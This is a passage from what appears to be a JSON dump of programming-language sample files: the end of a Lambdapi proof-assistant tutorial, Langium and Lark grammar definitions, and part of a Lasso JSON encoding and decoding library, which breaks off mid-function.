↪ $v1_z\n  ind_Nat $v0_p0 $v1_z $v2_s (s $v3_x0) ↪ $v2_s $v3_x0 (ind_Nat $v0_p0 $v1_z $v2_s $v3_x0)\n*/\nprint one; // to see the definition of ten\nprint +; // to see the type, notation and rules of +\n\n/* It is also possible now to replace the tactic \"refine ind_Nat _ _ _\"\nby a call to the tactic \"induction\" (see below). */\n\n/* Similarly, we can define a type for lists of natural numbers: */\ninductive List_Nat : TYPE ≔\n| nil_Nat : List_Nat\n| cons_Nat : Nat → List_Nat → List_Nat;\n\n/* But what if we want to have lists of booleans, or lists of lists of\nnatural numbers, etc.? Lambdapi does not allow to quantify over\ntypes. On the other hand, it is possible to interpret objects as types\nusing type-level rewriting rules, in the same way the function Prf\nmaps terms of type Prop to types. We can define polymorphic objects by\ndefining a type for type codes, and quantify over type codes instead\nof types: */\n\nsymbol Set : TYPE; // type for type codes\ninjective symbol τ : Set → TYPE; // function interpreting type codes as types\n\n// For instance, we can define a code for Nat:\nsymbol nat : Set;\nrule τ nat ↪ Nat;\n\n// We can now define polymorphic lists:\n\n(a:Set) inductive 𝕃:TYPE ≔\n| □ /* \\Box */ : 𝕃 a\n| ⸬ /* :: */ : τ a → 𝕃 a → 𝕃 a;\n\n/* We are now going to see how to use tactics related to equality like\n\"reflexivity\", \"symmetry\" and \"rewrite\". To this end, we need to use a\npolymorphic equality and define a few more builtins that are necessary\nfor Lambdapi to generate the corresponding proofs. */\n\nconstant // means that we cannot add rules later\nsymbol ≃ [a] /* arguments between square brackets are implicit\nand must not be written later, unless they are enclosed between square brackets\nor if the symbol is prefixed by \"@\". */ \n: τ a → τ a → Prop;\n\nnotation ≃ infix 1;\n\nconstant symbol ≃-refl [a] (x:τ a) : Prf(x ≃ x);\nconstant symbol ≃-ind [a] [x y:τ a] : Prf(x ≃ y) → Π p, Prf(p y) → Prf(p x);\n  // Leibniz principle.\n\nbuiltin \"T\" ≔ τ;\nbuiltin \"eq\" ≔ ≃;\nbuiltin \"refl\"  ≔ ≃-refl;\nbuiltin \"eqind\" ≔ ≃-ind;\n\n/* We now reprove our theorem on the inductive type Nat instead of ℕ,\nusing the tactics \"induction\", \"reflexivity\" and \"rewrite\".\nTo this end, we first need to define addition on Nat: */\n\nsymbol ⊕ : Nat → Nat → Nat;\nnotation ⊕ infix right 10;\nrule $x ⊕ z ↪ $x\nwith $x ⊕ s $y ↪ s ($x ⊕ $y);\n\nopaque symbol zero_is_neutral_for_⊕ x : Prf(z ⊕ x ≃ x) ≔\nbegin\ninduction\n  { simplify; reflexivity; }\n  { assume x hyp_on_x; simplify; rewrite hyp_on_x; reflexivity; }\nend;\n\n/* Note finally that a development can be split into several\nfiles. For instance, imagine that your development is made of file1.lp\nand file2.lp, and that file2.lp uses symbols defined in\nfile1.lp. Then, you should create a file lambdapi.pkg with the\nfollowing two lines:\n\npackage_name = my_package\nroot_path = my_package\n\nwhere my_package is the name of your package. Then, at the beginning\nof file2.lp, you should add:\n\nrequire my_package.file1;\n*/\n"
  },
  {
    "path": "samples/Langium/ox.langium",
    "content": "grammar Ox\n\nentry OxProgram:\n    elements+=OxElement*;\n\nOxElement:\n    Block |\n    IfStatement |\n    WhileStatement |\n    ForStatement |\n    FunctionDeclaration |\n    VariableDeclaration ';' |\n    AssignmentStatement ';' |\n    PrintStatement ';' |\n    ReturnStatement ';' |\n    Expression ';'\n;\n\nIfStatement:\n    'if' '(' condition=Expression ')' block=Block\n    ('else' elseBlock=Block)?\n;\n\nWhileStatement:\n    'while' '(' condition=Expression ')' block=Block\n;\n\nForStatement:\n    'for' '(' counter=VariableDeclaration? ';' condition=Expression? ';' execution=AssignmentStatement? ')' block=Block\n;\n\nPrintStatement: 'print' value=Expression;\n\nReturnStatement: 'return' value=Expression?;\n\nBlock: '{'\n    elements+=OxElement*\n'}';\n\nVariableDeclaration returns NamedElement:\n    {infer VariableDeclaration} 'var' name=ID (':' type=TypeReference) (assignment?='=' value=Expression)?\n;\n\nAssignmentStatement:\n    varRef=[VariableDeclaration:ID] '=' value=Expression\n;\n\nExpression:\n    Addition;\n\nAddition infers Expression:\n    Multiplication ({infer BinaryExpression.left=current} operator=('+' | '-') right=Multiplication)*;\n\nMultiplication infers Expression:\n    Logical ({infer BinaryExpression.left=current} operator=('*' | '/') right=Logical)*;\n\nLogical infers Expression:\n    Comparison ({infer BinaryExpression.left=current} operator=('and' | 'or') right=Comparison)*;\n\nComparison infers Expression:\n    Primary ({infer BinaryExpression.left=current} operator=('<' | '<=' | '>' | '>=' | '==' | '!=') right=Primary)*;\n\nPrimary infers Expression:\n    '(' Expression ')' |\n    UnaryExpression |\n    BooleanLiteral |\n    NumberLiteral |\n    MemberCall;\n\nMemberCall:\n    element=[NamedElement:ID]\n    (\n\t\texplicitOperationCall?='('\n\t\t(\n\t\t    arguments+=Expression (',' arguments+=Expression)*\n\t\t)?\n\t\t')'\n    )?;\n\nUnaryExpression:\n   operator=('!' | '-') value=Expression;\n\nNumberLiteral: value=NUMBER;\nBooleanLiteral: value?='true' | 'false';\n\nFunctionDeclaration:\n    'fun' name=ID '(' (parameters+=Parameter (',' parameters+=Parameter)*)? ')' ':' returnType=TypeReference body=Block;\n\nParameter: name=ID ':' type=TypeReference;\n\nTypeReference: primitive=(\"number\" | \"boolean\" | \"void\");\n\ntype NamedElement = Parameter | FunctionDeclaration | VariableDeclaration;\n\nhidden terminal WS: /\\s+/;\nterminal ID: /[_a-zA-Z][\\w_]*/;\nterminal NUMBER returns number: /[0-9]+(\\.[0-9]+)?/;\n// terminal STRING: /\"[^\"]*\"/;\n\nhidden terminal ML_COMMENT: /\\/\\*[\\s\\S]*?\\*\\//;\nhidden terminal SL_COMMENT: /\\/\\/[^\\n\\r]*/;\n"
  },
  {
    "path": "samples/Langium/treemap.langium",
    "content": "/**\n * Treemap grammar for Langium\n * Converted from mindmap grammar\n *\n * The ML_COMMENT and NL hidden terminals handle whitespace, comments, and newlines\n * before the treemap keyword, allowing for empty lines and comments before the\n * treemap declaration.\n */\ngrammar TreemapGrammar\n\nfragment TitleAndAccessibilities:\n  ((accDescr=ACC_DESCR | accTitle=ACC_TITLE | title=TITLE))+\n;\n\nterminal BOOLEAN returns boolean: 'true' | 'false';\n\nterminal ACC_DESCR: /[\\t ]*accDescr(?:[\\t ]*:([^\\n\\r]*?(?=%%)|[^\\n\\r]*)|\\s*{([^}]*)})/;\nterminal ACC_TITLE: /[\\t ]*accTitle[\\t ]*:(?:[^\\n\\r]*?(?=%%)|[^\\n\\r]*)/;\nterminal TITLE: /[\\t ]*title(?:[\\t ][^\\n\\r]*?(?=%%)|[\\t ][^\\n\\r]*|)/;\n\n// Interface declarations for data types\ninterface Item {\n    name: string\n    classSelector?: string // For ::: class\n}\ninterface Section extends Item {\n}\ninterface Leaf extends Item {\n    value: number\n}\ninterface ClassDefStatement {\n    className: string\n    styleText: string // Optional style text\n}\ninterface Treemap {\n    TreemapRows: TreemapRow[]\n    title?: string\n    accTitle?: string\n    accDescr?: string\n}\n\nentry Treemap returns Treemap:\n    TREEMAP_KEYWORD\n    (\n        TitleAndAccessibilities\n        | TreemapRows+=TreemapRow\n    )*;\nterminal TREEMAP_KEYWORD:  'treemap-beta' | 'treemap';\n\nterminal CLASS_DEF: /classDef\\s+([a-zA-Z_][a-zA-Z0-9_]+)(?:\\s+([^;\\r\\n]*))?(?:;)?/;\nterminal STYLE_SEPARATOR: ':::';\nterminal SEPARATOR: ':';\nterminal COMMA: ',';\n\nhidden terminal WS: /[ \\t]+/;  // One or more spaces or tabs for hidden whitespace\nhidden terminal ML_COMMENT: /\\%\\%[^\\n]*/;\nhidden terminal NL: /\\r?\\n/;\n\nTreemapRow:\n    indent=INDENTATION? (item=Item | ClassDef);\n\n// Class definition statement handled by the value converter\nClassDef returns string:\n    CLASS_DEF;\n\nItem returns Item:\n    Leaf | Section;\n\n// Use a special rule order to handle the parsing precedence\nSection returns Section:\n    name=STRING2 (STYLE_SEPARATOR classSelector=ID2)?;\n\nLeaf returns Leaf:\n    name=STRING2 INDENTATION? (SEPARATOR | COMMA) INDENTATION? value=MyNumber (STYLE_SEPARATOR classSelector=ID2)?;\n\n// This should be processed before whitespace is ignored\nterminal INDENTATION: /[ \\t]{1,}/;  // One or more spaces/tabs for indentation\n\n// Keywords with fixed text patterns\nterminal ID2: /[a-zA-Z_][a-zA-Z0-9_]*/;\n// Define as a terminal rule\nterminal NUMBER2: /[0-9_\\.\\,]+/;\n\n// Then create a data type rule that uses it\nMyNumber returns number: NUMBER2;\n\nterminal STRING2: /\"[^\"]*\"|'[^']*'/;\n// Modified indentation rule to have higher priority than WS\n"
  },
  {
    "path": "samples/Langium/zmodel.langium",
    "content": "grammar ZModel\n\n\nentry Model:\n    imports+=ModelImport*\n    (\n        declarations+=AbstractDeclaration\n    )*;\n\nModelImport:\n    'import' path=STRING  ';'?;\n\nAbstractDeclaration:\n    DataSource | GeneratorDecl| Plugin | DataModel | TypeDef | Enum | FunctionDecl | Attribute | Procedure;\n\n// datasource\nDataSource:\n    TRIPLE_SLASH_COMMENT* 'datasource' name=RegularID '{' (fields+=ConfigField)* '}';\n\n// generator\nGeneratorDecl:\n    TRIPLE_SLASH_COMMENT* 'generator' name=RegularID '{' (fields+=ConfigField)* '}';\n\nConfigField:\n    TRIPLE_SLASH_COMMENT* name=RegularID '=' value=ConfigExpr;\n\n// plugin\nPlugin:\n    TRIPLE_SLASH_COMMENT* 'plugin' name=RegularID '{' (fields+=PluginField)* '}';\n\nPluginField:\n    TRIPLE_SLASH_COMMENT* name=RegularID '=' value=(LiteralExpr | ArrayExpr | ObjectExpr);\n\n// expression\nExpression:\n    LogicalExpr;\n\nNumberLiteral:\n    value=NUMBER;\n\nStringLiteral:\n    value=STRING;\n\nBooleanLiteral:\n    value=Boolean;\n\nLiteralExpr:\n    NumberLiteral | StringLiteral | BooleanLiteral;\n\nArrayExpr:\n    '[' (items+=Expression (',' items+=Expression)*)? ']';\n\nConfigInvocationExpr:\n    name=ID ('(' ConfigInvocationArgList? ')')?;\n\nfragment ConfigInvocationArgList:\n    args+=ConfigInvocationArg (',' args+=ConfigInvocationArg)*;\n\nConfigInvocationArg:\n    name=ID ':' value=LiteralExpr;\n\nConfigArrayExpr:\n    '[' (items+=(LiteralExpr|ConfigInvocationExpr) (',' items+=(LiteralExpr|ConfigInvocationExpr))*)? ']';\n\n// expressions used in configuration fields (e.g. datasource, generator, plugin)\nConfigExpr:\n    LiteralExpr | InvocationExpr | ConfigArrayExpr;\n\ntype ReferenceTarget = FunctionParam | DataField | EnumField;\n\nThisExpr:\n    value='this';\n\nNullExpr:\n    value='null';\n\nReferenceExpr:\n    target=[ReferenceTarget:RegularIDWithTypeNames] ('(' ReferenceArgList ')')?;\n\nfragment ReferenceArgList:\n    args+=ReferenceArg (',' args+=ReferenceArg)*;\n\nReferenceArg:\n    name=ID ':' value=Expression;\n\n\nObjectExpr:\n    '{'\n        (fields+=FieldInitializer (',' fields+=FieldInitializer)* ','?)?\n    '}';\n\nFieldInitializer:\n    name=(RegularID | STRING) ':' value=(Expression);\n\nInvocationExpr:\n    function=[FunctionDecl] '(' ArgumentList? ')';\n\ntype MemberAccessTarget = DataField;\n\nMemberAccessExpr infers Expression:\n    PrimaryExpr (\n        {infer MemberAccessExpr.operand=current}\n        ('.' member=[MemberAccessTarget])\n    )*;\n\nUnaryExpr:\n    operator=('!') operand=MemberAccessExpr;\n\n// binary operator precedence follow Javascript's rules:\n// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#table\n\nCollectionPredicateExpr infers Expression:\n    MemberAccessExpr (\n        {infer BinaryExpr.left=current}\n        operator=('?'|'!'|'^')\n        '[' right=Expression ']'\n    )*;\n\nInExpr infers Expression:\n    CollectionPredicateExpr (\n        {infer BinaryExpr.left=current}\n        operator=('in')\n        right=CollectionPredicateExpr\n    )*;\n\nComparisonExpr infers Expression:\n    InExpr (\n        {infer BinaryExpr.left=current}\n        operator=('>'|'<'|'>='|'<=')\n        right=InExpr\n    )*;\n\nEqualityExpr infers Expression:\n    ComparisonExpr (\n        {infer BinaryExpr.left=current}\n        operator=('=='|'!=')\n        right=ComparisonExpr\n    )*;\n\nLogicalExpr infers Expression:\n    EqualityExpr (\n        {infer BinaryExpr.left=current}\n        operator=('&&'|'||')\n        right=EqualityExpr\n    )*;\n\nPrimaryExpr infers Expression:\n    '(' Expression ')' |\n    ThisExpr |\n    NullExpr |\n    LiteralExpr |\n    UnaryExpr |\n    InvocationExpr |\n    ArrayExpr|\n    ReferenceExpr |\n    ObjectExpr;\n\nfragment ArgumentList:\n    args+=Argument (',' args+=Argument)*;\n\nArgument:\n    value=Expression;\n\n// model\nDataModel:\n    (comments+=TRIPLE_SLASH_COMMENT)*\n    (\n        ('model' name=RegularID (WithClause | ExtendsClause | (ExtendsClause WithClause) | (WithClause ExtendsClause))?) |\n        ((isView?='view') name=RegularID)\n    )\n    '{' (\n        fields+=DataField\n            | attributes+=DataModelAttribute\n        )*\n    '}';\n\nfragment WithClause:\n    'with' mixins+=[TypeDef] (','? mixins+=[TypeDef])*;\n\nfragment ExtendsClause:\n    'extends' baseModel=[DataModel];\n\nDataField:\n    (comments+=TRIPLE_SLASH_COMMENT)*\n    name=RegularIDWithTypeNames type=DataFieldType (attributes+=DataFieldAttribute)*;\n\nDataFieldType:\n    (type=BuiltinType | unsupported=UnsupportedFieldType | reference=[TypeDeclaration:RegularID]) (array?='[' ']')? (optional?='?')?;\n\nTypeDef:\n    (comments+=TRIPLE_SLASH_COMMENT)*\n    'type' name=RegularID WithClause?\n    '{' (\n           fields+=DataField |\n           attributes+=DataModelAttribute\n        )*\n    '}';\n\nUnsupportedFieldType:\n    'Unsupported' '(' (value=LiteralExpr) ')';\n\n// enum\nEnum:\n    (comments+=TRIPLE_SLASH_COMMENT)*\n    'enum' name=RegularID '{' (\n           fields+=EnumField\n           | attributes+=DataModelAttribute\n        )+\n    '}';\n\nEnumField:\n    (comments+=TRIPLE_SLASH_COMMENT)*\n    name=RegularIDWithTypeNames (attributes+=DataFieldAttribute)*;\n\n// function\nFunctionDecl:\n    TRIPLE_SLASH_COMMENT* 'function' name=RegularID '(' (params+=FunctionParam (',' params+=FunctionParam)*)? ')' ':' returnType=FunctionParamType '{' (expression=Expression)? '}' (attributes+=InternalAttribute)*;\n\nFunctionParam:\n    TRIPLE_SLASH_COMMENT* name=RegularID ':' type=FunctionParamType (optional?='?')?;\n\nFunctionParamType:\n    (type=ExpressionType | reference=[TypeDeclaration:RegularID]) (array?='[' ']')?;\n\nProcedureParam:\n    TRIPLE_SLASH_COMMENT* name=RegularID ':' type=FunctionParamType (optional?='?')?;\n\nProcedure:\n    TRIPLE_SLASH_COMMENT* (mutation?='mutation') 'procedure' name=RegularID '(' (params+=ProcedureParam (',' params+=FunctionParam)*)? ')' ':' returnType=FunctionParamType (attributes+=InternalAttribute)*;\n\n// https://github.com/langium/langium/discussions/1012\nRegularID returns string:\n    // include keywords that we'd like to work as ID in most places\n    ID | 'model' | 'enum' | 'attribute' | 'datasource' | 'plugin' | 'abstract' | 'in' | 'view' | 'import' | 'type';\n\nRegularIDWithTypeNames returns string:\n    RegularID | 'String' | 'Boolean' | 'Int' | 'BigInt' | 'Float' | 'Decimal' | 'DateTime' | 'Json' | 'Bytes' | 'Null' | 'Object' | 'Any' | 'Unsupported';\n\n// attribute\nAttribute:\n    (comments+=TRIPLE_SLASH_COMMENT)* 'attribute' name=(INTERNAL_ATTRIBUTE_NAME|MODEL_ATTRIBUTE_NAME|FIELD_ATTRIBUTE_NAME) '(' (params+=AttributeParam (',' params+=AttributeParam)*)? ')' (attributes+=InternalAttribute)*;\n\nAttributeParam:\n    (comments+=TRIPLE_SLASH_COMMENT)* (default?='_')? name=RegularID ':' type=AttributeParamType (attributes+=InternalAttribute)*;\n\n// FieldReference refers to fields declared in the current model\n// TransitiveFieldReference refers to fields declared in the model type of the current field\nAttributeParamType:\n    (type=(ExpressionType | 'FieldReference' | 'TransitiveFieldReference' | 'ContextType') | reference=[TypeDeclaration:RegularID]) (array?='[' ']')? (optional?='?')?;\n\ntype TypeDeclaration = DataModel | TypeDef | Enum;\nDataFieldAttribute:\n    decl=[Attribute:FIELD_ATTRIBUTE_NAME] ('(' AttributeArgList? ')')?;\n\n// TODO: need rename since it's for both DataModel and TypeDef\nDataModelAttribute:\n    TRIPLE_SLASH_COMMENT* decl=[Attribute:MODEL_ATTRIBUTE_NAME] ('(' AttributeArgList? ')')?;\n\nInternalAttribute:\n    decl=[Attribute:INTERNAL_ATTRIBUTE_NAME] ('(' AttributeArgList? ')')?;\n\nfragment AttributeArgList:\n    args+=AttributeArg (',' args+=AttributeArg)*;\n\nAttributeArg:\n    (name=RegularID ':')? value=Expression;\n\nExpressionType returns string:\n    'String' | 'Int' | 'Float' | 'Boolean' | 'DateTime' | 'Null' | 'Object' | 'Any' | 'Unsupported';\n\nBuiltinType returns string:\n    'String' | 'Boolean' | 'Int' | 'BigInt' | 'Float' | 'Decimal' | 'DateTime' | 'Json' | 'Bytes';\n\nBoolean returns boolean:\n    'true' | 'false';\n\nhidden terminal WS: /\\s+/;\nterminal INTERNAL_ATTRIBUTE_NAME: /@@@([_a-zA-Z][\\w_]*\\.)*[_a-zA-Z][\\w_]*/;\nterminal MODEL_ATTRIBUTE_NAME: /@@([_a-zA-Z][\\w_]*\\.)*[_a-zA-Z][\\w_]*/;\nterminal FIELD_ATTRIBUTE_NAME: /@([_a-zA-Z][\\w_]*\\.)*[_a-zA-Z][\\w_]*/;\nterminal ID: /[_a-zA-Z][\\w_]*/;\nterminal STRING: /\"(\\\\.|[^\"\\\\])*\"|'(\\\\.|[^'\\\\])*'/;\nterminal NUMBER: /[+-]?[0-9]+(\\.[0-9]+)?/;\nterminal TRIPLE_SLASH_COMMENT: /\\/\\/\\/[^\\n\\r]*/;\nhidden terminal ML_COMMENT: /\\/\\*[\\s\\S]*?\\*\\//;\nhidden terminal SL_COMMENT: /\\/\\/[^\\n\\r]*/;\n"
  },
  {
    "path": "samples/Lark/ebl_atf.lark",
    "content": "?start: line\n\n?line: empty_line\n     | note_line\n     | text_line\n     | dollar_line\n     | at_line\n     | control_line\n\nempty_line: /\\s+/?\n\n!control_line.-2: (\"=:\" | \"&\" | \"#\") /.+/?\n\n%import .ebl_atf_text_line (text_line, any_word, note_line)\n%import .ebl_atf_dollar_line (dollar_line)\n%import .ebl_atf_at_line (at_line)\n"
  },
  {
    "path": "samples/Lark/ebl_atf_common.lark",
    "content": "%import common.DIGIT\n%import common.INT\n%import common.LCASE_LETTER\n\nseal : \"seal \"  INT\n\nfree_text.-2 : /./+ \" \"*\n\n?object: OBJECT | generic_object | fragment\nOBJECT: \"tablet\" | \"envelope\" | \"prism\" | \"bulla\"\nfragment: \"fragment \" free_text\ngeneric_object : \"object \" free_text\n\n?surface: SURFACE | generic_surface | face | edge\nSURFACE: \"obverse\" | \"reverse\" | \"left\" | \"right\" | \"top\" | \"bottom\"\nface: \"face \" LCASE_LETTER\nedge: \"edge\" (\" \" LCASE_LETTER)?\ngeneric_surface : \"surface \" free_text\n"
  },
  {
    "path": "samples/Lark/lark.lark",
    "content": "start: (_item? _NL)* _item?\n\n_item: rule\n     | token\n     | statement\n\nrule: RULE rule_params priority? \":\" expansions\ntoken: TOKEN token_params priority? \":\" expansions\n\nrule_params: [\"{\" RULE (\",\" RULE)* \"}\"]\ntoken_params: [\"{\" TOKEN (\",\" TOKEN)* \"}\"]\n\npriority: \".\" NUMBER\n\nstatement: \"%ignore\" expansions                    -> ignore\n         | \"%import\" import_path [\"->\" name]       -> import\n         | \"%import\" import_path name_list         -> multi_import\n         | \"%declare\" name+                        -> declare\n\n!import_path: \".\"? name (\".\" name)*\nname_list: \"(\" name (\",\" name)* \")\"\n\n?expansions: alias (_VBAR alias)*\n\n?alias: expansion [\"->\" RULE]\n\n?expansion: expr*\n\n?expr: atom [OP | \"~\" NUMBER [\"..\" NUMBER]]\n\n?atom: \"(\" expansions \")\"\n     | \"[\" expansions \"]\" -> maybe\n     | value\n\n?value: STRING \"..\" STRING -> literal_range\n      | name\n      | (REGEXP | STRING) -> literal\n      | name \"{\" value (\",\" value)* \"}\" -> template_usage\n\nname: RULE\n    | TOKEN\n\n_VBAR: _NL? \"|\"\nOP: /[+*]|[?](?![a-z])/\nRULE: /!?[_?]?[a-z][_a-z0-9]*/\nTOKEN: /_?[A-Z][_A-Z0-9]*/\nSTRING: _STRING \"i\"?\nREGEXP: /\\/(?!\\/)(\\\\\\/|\\\\\\\\|[^\\/\\n])*?\\/[imslux]*/\n_NL: /(\\r?\\n)+\\s*/\n\n%import common.ESCAPED_STRING -> _STRING\n%import common.SIGNED_INT -> NUMBER\n%import common.WS_INLINE\n\nCOMMENT: /\\s*/ \"//\" /[^\\n]/*\n\n%ignore WS_INLINE\n%ignore COMMENT\n"
  },
  {
    "path": "samples/Lasso/json.lasso",
    "content": "<?LassoScript\n\t//\n\t// JSON Encoding and Decoding\n\t//\n\t// Copyright 2007-2012 LassoSoft Inc.\n\t//\n\t// <http://json.org/>\n\t// <http://json-rpc.org/>\n\t// <http://www.ietf.org/rfc/rfc4627.txt?number=4627>\n\t// This tag is now incorporated in Lasso 8.6.0.1\n\t//\n\nIf: (Lasso_TagExists: 'Encode_JSON') == False;\n\n\tDefine_Tag: 'JSON', -Namespace='Encode_', -Required='value', -Optional='options';\n\t\n\t\tLocal: 'escapes' = Map('\\\\' = '\\\\', '\"'  = '\"', '\\r' = 'r', '\\n' = 'n', '\\t' = 't', '\\f' = 'f', '\\b' = 'b');\n\t\tLocal: 'output' = '';\n\t\tLocal: 'newoptions' = (Array: -Internal);\n\t\tIf: !(Local_Defined: 'options') || (#options->(IsA: 'array') == False);\n\t\t\tLocal: 'options' = (Array);\n\t\t/If;\n\t\tIf: (#options >> -UseNative) || (Params >> -UseNative);\n\t\t\t#newoptions->(Insert: -UseNative);\n\t\t/If;\n\t\tIf: (#options >> -NoNative) || (Params >> -NoNative);\n\t\t\t#newoptions->(Insert: -NoNative);\n\t\t/If;\n\t\tIf: (#options !>> -UseNative) && ((#value->(IsA: 'set')) || (#value->(IsA: 'list')) || (#value->(IsA: 'queue')) || (#value->(IsA: 'priorityqueue')) || (#value->(IsA: 'stack')));\n\t\t\t#output += (Encode_JSON: Array->(insertfrom: #value->iterator) &, -Options=#newoptions);\n\t\tElse: (#options !>> -UseNative) && (#value->(IsA: 'pair'));\n\t\t\t#output += (Encode_JSON: (Array: #value->First, #value->Second));\n\t\tElse: (#options !>> -Internal) && (#value->(Isa: 'array') == False) && (#value->(IsA: 'map') == False);\n\t\t\t#output += '[' + (Encode_JSON: #value, -Options=#newoptions) + ']';\n\t\tElse: (#value->(IsA: 'literal'));\n\t\t\t#output += #value;\n\t\tElse: (#value->(IsA: 'string'));\n\t\t\t#output += '\"';\n\t\t\tLoop: (#value->Length);\n\t\t\t\tLocal('character' = #value->(Get: Loop_Count));\n\t\t\t\t#output->(Append:\n\t\t\t\t\t(Match_RegExp('[\\\\x{0020}-\\\\x{21}\\\\x{23}-\\\\x{5b}\\\\x{5d}-\\\\x{10fff}]') == #character) ? #character |\n\t\t\t\t\t\t'\\\\' + (#escapes->(Contains: #character) ? #escapes->(Find: #character) | 'u' + String(Encode_Hex(#character))->PadLeading(4, '0')&)\n\t\t\t\t);\n\t\t\t/Loop;\n\t\t\t#output += '\"';\n\t\tElse: (#value->(IsA: 'integer')) || (#value->(IsA: 'decimal')) || (#value->(IsA: 'boolean'));\n\t\t\t#output += (String: #value);\n\t\tElse: (#value->(IsA: 'null'));\n\t\t\t#output += 'null';\n\t\tElse: (#value->(IsA: 'date'));\n\t\t\tIf: #value->gmt;\n\t\t\t\t#output += '\"' + #value->(format: '%QT%TZ') + '\"';\n\t\t\tElse;\n\t\t\t\t#output += '\"' + #value->(format: '%QT%T') + '\"';\n\t\t\t/If;\n\t\tElse: (#value->(IsA: 'array'));\n\t\t\t#output += '[';\n\t\t\tIterate: #value, (Local: 'temp');\n\t\t\t\t#output += (Encode_JSON: #temp, -Options=#newoptions);\n\t\t\t\tIf: #value->Size != Loop_Count;\n\t\t\t\t\t#output += ', ';\n\t\t\t\t/If;\n\t\t\t/Iterate;\n\t\t\t#output += ']';\n\t\tElse: (#value->(IsA: 'object'));\n\t\t\t#output += '{';\n\t\t\tIterate: #value, (Local: 'temp');\n\t\t\t\t#output += #temp->First + ': ' + (Encode_JSON: #temp->Second, -Options=#newoptions);\n\t\t\t\tIf: (#value->Size != Loop_Count);\n\t\t\t\t\t#output += ', ';\n\t\t\t\t/If;\n\t\t\t/Iterate;\n\t\t\t#output += '}';\n\t\tElse: (#value->(IsA: 'map'));\n\t\t\t#output += '{';\n\t\t\tIterate: #value, (Local: 'temp');\n\t\t\t\t#output += (Encode_JSON: #temp->First, -Options=#newoptions) + ': ' + (Encode_JSON: #temp->Second, -Options=#newoptions);\n\t\t\t\tIf: (#value->Size != Loop_Count);\n\t\t\t\t\t#output += ', ';\n\t\t\t\t/If;\n\t\t\t/Iterate;\n\t\t\t#output += '}';\n\t\tElse: (#value->(IsA: 'client_ip')) || (#value->(IsA: 'client_address'));\n\t\t\t#output += (Encode_JSON: (String: #value), -Options=#newoptions);\n\t\tElse: (#options !>> -UseNative) && (#value->(IsA: 'set')) || (#value->(IsA: 'list')) || (#value->(IsA: 'queue')) || (#value->(IsA: 'priorityqueue')) || (#value->(IsA: 'stack'));\n\t\t\t#output += (Encode_JSON: Array->(insertfrom: #value->iterator) &, -Options=#newoptions);\n\t\tElse: (#options !>> -NoNative);\n\t\t\t#output += (Encode_JSON: (Map: '__jsonclass__'=(Array:'deserialize',(Array:'<LassoNativeType>' + #value->Serialize + '</LassoNativeType>'))));\n\t\t/If;\n\t\tReturn: @#output;\n\t\t\n\t/Define_Tag;\n\n/If;\n\nIf: (Lasso_TagExists: 'Decode_JSON') == False;\n\n\tDefine_Tag: 'JSON', -Namespace='Decode_', -Required='value';\n\n\t\t(#value == '') ? Return: Null;\n\t\t\n\t\tDefine_Tag: 'consume_string', -Required='ibytes';\n\t\t\tLocal: 'unescapes' = (map: 34 = '\"', 92 = '\\\\', 98 = '\\b', 102 = '\\f', 110 = '\\n', 114 = '\\r', 116 = '\\t');\n\t\t\tLocal: 'temp' = 0, 'obytes' = Bytes;\n\t\t\tWhile: ((#temp := #ibytes->export8bits) != 34); // '\"'\n\t\t\t\tIf: (#temp === 92); // '\\'\n\t\t\t\t\t#temp = #ibytes->export8bits;\n\t\t\t\t\tIf: (#temp === 117); // 'u'\n\t\t\t\t\t\t#obytes->(ImportString: (Decode_Hex: (String: #ibytes->(GetRange: #ibytes->Position + 1, 4)))->(ExportString: 'UTF-16'), 'UTF-8');\n\t\t\t\t\t\t#ibytes->(SetPosition: #ibytes->Position + 4);\n\t\t\t\t\tElse;\n\t\t\t\t\t\tIf: (#unescapes->(Contains: #temp));\n\t\t\t\t\t\t\t#obytes->(ImportString: #unescapes->(Find: #temp), 'UTF-8');\n\t\t\t\t\t\tElse;\n\t\t\t\t\t\t\t#obytes->(Import8Bits: #temp);\n\t\t\t\t\t\t/If;\n\t\t\t\t\t/If;\n\t\t\t\tElse;\n\t\t\t\t\t#obytes->(Import8Bits: #temp);\n\t\t\t\t/If;\n\t\t\t/While;\n\t\t\tLocal('output' = #obytes->(ExportString: 'UTF-8'));\n\t\t\tIf: #output->(BeginsWith: '<LassoNativeType>') && #output->(EndsWith: '</LassoNativeType>');\n\t\t\t\tLocal: 'temp' = #output - '<LassoNativeType>' - '</LassoNativeType>';\n\t\t\t\tLocal: 'output' = null;\n\t\t\t\tProtect;\n\t\t\t\t\t#output->(Deserialize: #temp);\n\t\t\t\t/Protect;\n\t\t\tElse: (Valid_Date: #output, -Format='%QT%TZ');\n\t\t\t\tLocal: 'output' = (Date: #output, -Format='%QT%TZ');\n\t\t\tElse: (Valid_Date: #output, -Format='%QT%T');\n\t\t\t\tLocal: 'output' = (Date: #output, -Format='%QT%T');\n\t\t\t/If;\t\t\t\n\t\t\tReturn: @#output;\n\t\t/Define_Tag;\n\n\t\tDefine_Tag: 'consume_token', -Required='ibytes', -required='temp';\n\t\t\tLocal: 'obytes' = bytes->(import8bits: #temp) &;\n\t\t\tlocal: 'delimit' = (array: 9, 10, 13, 32, 44, 58, 93, 125); // \\t\\r\\n ,:]}\n\t\t\tWhile: (#delimit !>> (#temp := #ibytes->export8bits));\n\t\t\t\t#obytes->(import8bits: #temp);\n\t\t\t/While;\n\t\t\tLocal: 'output' = (String: #obytes);\n\t\t\tIf: (#output == 'true') || (#output == 'false');\n\t\t\t\tReturn: (Boolean: #output);\n\t\t\tElse: (#output == 'null');\n\t\t\t\tReturn: Null;\n\t\t\tElse: (String_IsNumeric: #output);\n\t\t\t\tReturn: (#output >> '.') ? (Decimal: #output) | (Integer: #output);\n\t\t\t/If;\n\t\t\tReturn: @#output;\n\t\t/Define_Tag;\n\n\t\tDefine_Tag: 'consume_array', -Required='ibytes';\n\t\t\tLocal: 'output' = array;\n\t\t\tlocal: 'delimit' = (array:  9, 10, 13, 32, 44); // \\t\\r\\n ,\n\t\t\tlocal: 'temp' = 0;\n\t\t\tWhile: ((#temp := #ibytes->export8bits) != 93); // ]\n\t\t\t\tIf: (#delimit >> #temp);\n\t\t\t\t\t// Discard whitespace \n\t\t\t\tElse: (#temp == 34); // \"\n\t\t\t\t\t#output->(insert: (consume_string: @#ibytes));\n\t\t\t\tElse: (#temp == 91); // [\n\t\t\t\t\t#output->(insert: (consume_array: @#ibytes));\n\t\t\t\tElse: (#temp == 123); // {\n\t\t\t\t\t#output->(insert: (consume_object: 